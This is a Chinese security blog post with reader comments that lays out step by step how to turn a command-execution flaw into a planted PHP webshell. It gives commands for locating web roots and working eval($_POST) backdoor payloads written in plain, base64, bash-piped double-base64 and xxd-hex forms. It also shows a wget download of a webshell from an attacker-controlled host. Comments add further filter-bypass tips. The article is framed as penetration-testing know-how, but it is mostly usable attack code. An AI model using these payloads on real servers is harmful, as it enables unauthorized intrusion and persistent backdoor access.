命令执行写webshell总结

枫少@KillBoy
枫少@KillBoy
管理员
219
文章
0
粉丝
信息安全3710,555字数 613阅读2分2秒阅读模式
AI智能摘要
当你拿到一个RCE漏洞却卡在无法反弹shell时,是否想过直接写入WebShell?本文揭秘从命令执行到WebShell落地的完整链路:如何快速定位web路径、绕过权限与字符限制,甚至通过base64、hex编码和远程下载等技巧成功写入。没有花哨的理论,只有实战中提炼出的高效手法,帮你打通渗透测试的关键一环。
— AI 生成的文章内容摘要

前言

当我们找到一个rce漏洞却无法反弹shell时,在web路径写webshell用连接工具进行管理会方便的多,本文总结从命令执行到webshell的流程化操作。

寻找web路径

写webshell当然要写在web路径,第一步要做的就是快速寻找web路径

1.文件查找法

一般web路径一定会有index.htmlphpjspasp,login.xxx文件。可以根据已知页面文件名全局搜索

linux:
find / -name index.php
find / -name index.*
windows:
for /r d:/ %i in (index.html) do @echo %i
for /r d:/ %i in (index.*) do @echo %i

2.源码查找法

也可以选择打开当前已知web页面的f12查看源码,寻找一段特征足够明显的源码进行查找

linux:
find / -name "*.*" | xargs grep "PHP installed properly"
find /var/www/ -name "*.php" | xargs grep "doServerTest()"
windows:
findstr /s/i/n /d:D:sec_tools /c:"html" *.html
findstr /s/i/n /d:C:windows /c:"success" *.*

3.history等

通过linux历史命令查找web相关的服务启动命令

history | grep nginx
history | grep tomcat
history | grep http

写入webshell

确认寻找到的路径有写入权限之后,就可以开始写webshell了

1.echo直接写入

echo '<?php eval($_POST[1]); ?>' > 1.php

直接写入webshell一般不会成功,因为webshell中使用的某些关键符号可能被转码或屏蔽

2.base64写入

echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php

使用base64是比较通用的方法,完美去除了webshell本身的特殊字符

3.绕过重定向符

echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh

重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行

其他字符绕过方式,如空格对应${IFS}等,可参考命令注入的绕过方式 http://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/

4.远端下载webshell

远端服务器放置webshell,开启http
python -m http.server
目标机器执行
wget http://xx.xx.xxx.xx:8000/xxx.php

5.hex写入

hex写入与base64写入相似,在 https://www.107000.com/T-Hex/
将webshell编码成hex,使用xxd命令还原

或在使用前将webshell使用xxd生成hex数据

echo '<?php eval($_POST[1]); ?>' |xxd -ps

然后命令注入执行

echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php

作者:Leticia's Blog 

 
枫少@KillBoy
评论  37  访客  37
    • 梦回故里
      梦回故里 0

      这方法挺实用,刚试了base64写入成功了

      • 石子收藏家
        石子收藏家 0

        windows下for /r找路径有时候权限不够啊,有啥替代方案?

          • 迷途的像素
            迷途的像素 1

            @ 石子收藏家 powershell可以用Get-ChildItem替代for命令

          • 碧海船郎
            碧海船郎 0

            前几天渗透测试就卡在写shell这步,原来还能hex编码绕

            • 影夜星痕
              影夜星痕 1

              echo直接写基本没用,符号全被过滤了,血泪教训

              • 独行鹿角
                独行鹿角 0

                求问远端下载要是目标机没wget咋办?curl也不一定有吧

                  • 疯子不疯
                    疯子不疯 0

                    @ 独行鹿角 没wget的话试试用python或perl直接下载?

                  • 孤寂长夜
                    孤寂长夜 0

                    感觉base64最稳,其他方式看环境限制太多了

                    • 长坂坡
                      长坂坡 0

                      xxd命令有些精简系统里没有,得先确认命令是否存在

                      • PizzaTheHutt
                        PizzaTheHutt 0

                        又是这种老生常谈的总结,缺实战案例看着干巴巴的

                          • 翱翔飞龙
                            翱翔飞龙 0

                            @ PizzaTheHutt 实战案例确实少,希望作者后续能补充些

                          • 云端之上
                            云端之上 0

                            我之前用${IFS}绕空格成功过,但重定向还是拦得死

                              • 快乐布丁
                                快乐布丁 0

                                @ 云端之上 远端下载遇到防火墙就完蛋,内网环境咋办?

                              • 夜雾迷途
                                夜雾迷途 1

                                linux下find太慢了,有没有更快定位web目录的办法?

                                • 朱雀羽
                                  朱雀羽 0

                                  base64方式确实好用,编码后基本都能成功

                                  • 卦摊先生
                                    卦摊先生 1

                                    有没有考虑过目标机没装xxd的情况?

                                    • 妖狐夜话
                                      妖狐夜话 1

                                      shell确实是个技术活,实战中各种坑都遇过

                                        • 量子迷宫
                                          量子迷宫 1

                                          @ 妖狐夜话 同感,上次写shell被过滤得怀疑人生,最后靠base64苟住

                                        • 行者之心
                                          行者之心 0

                                          用history找路径这招可以,之前没想到

                                          • 旧日情怀录
                                            旧日情怀录 0

                                            文章提到的工具链挺完整,适合新手入门

                                            • TacoBoutAwesome
                                              TacoBoutAwesome 1

                                              重定向被拦的话试试tee命令?

                                              • 玄冰之瞳
                                                玄冰之瞳 0

                                                这总结对渗透测试很有参考价值

                                                • 愚公移山
                                                  愚公移山 0

                                                  web路径权限问题经常卡住,有啥快速提权方法吗?

                                                  • 古巷深幽
                                                    古巷深幽 1

                                                    hex写入第一次听说,回头试试效果

                                                      • 星际导航
                                                        星际导航 0

                                                        @ 古巷深幽 hex写入在busybox环境里可能跑不了,注意兼容性

                                                      • 虚无的拥抱
                                                        虚无的拥抱 1

                                                        base64这招确实挺常用的

                                                        • 碎梦刀
                                                          碎梦刀 0

                                                          windows下用dir /s找index文件也行,就是慢点

                                                          • 爱玩游戏的黄瓜
                                                            爱玩游戏的黄瓜 0

                                                            这方法老但管用,实战中base64+sh组合最稳

                                                            • 梦呓之泉
                                                              梦呓之泉 0

                                                              ${IFS}绕过空格我试过,但有些WAF连这个都拦,无语

                                                              • 不妥协的独狼
                                                                不妥协的独狼 1

                                                                echo那招直接写基本没戏,字符都给你转码了

                                                                • 风吟浅夏
                                                                  风吟浅夏 0

                                                                  linux下其实可以先ps aux看web服务路径,比find快多了

                                                                  • WizardOfOzzy
                                                                    WizardOfOzzy 0

                                                                    echo写入基本废了,现在防护都把>和;给ban了

                                                                    • 无烬剑魂
                                                                      无烬剑魂 1

                                                                      用xxd那个挺少见,回头试试

                                                                        • 唠嗑专业户
                                                                          唠嗑专业户 1

                                                                          @ 无烬剑魂 这个思路还挺巧的

                                                                        • LordOfThePings
                                                                          LordOfThePings 0

                                                                          求问如果目标机连bash都没有咋整?只有sh能用吗?

                                                                          • 灯前绣娘
                                                                            灯前绣娘 1

                                                                            刚用xxd写了个shell,结果权限只读…白忙活 😅

                                                                          匿名

                                                                          发表评论

                                                                          匿名网友

                                                                          拖动滑块以完成验证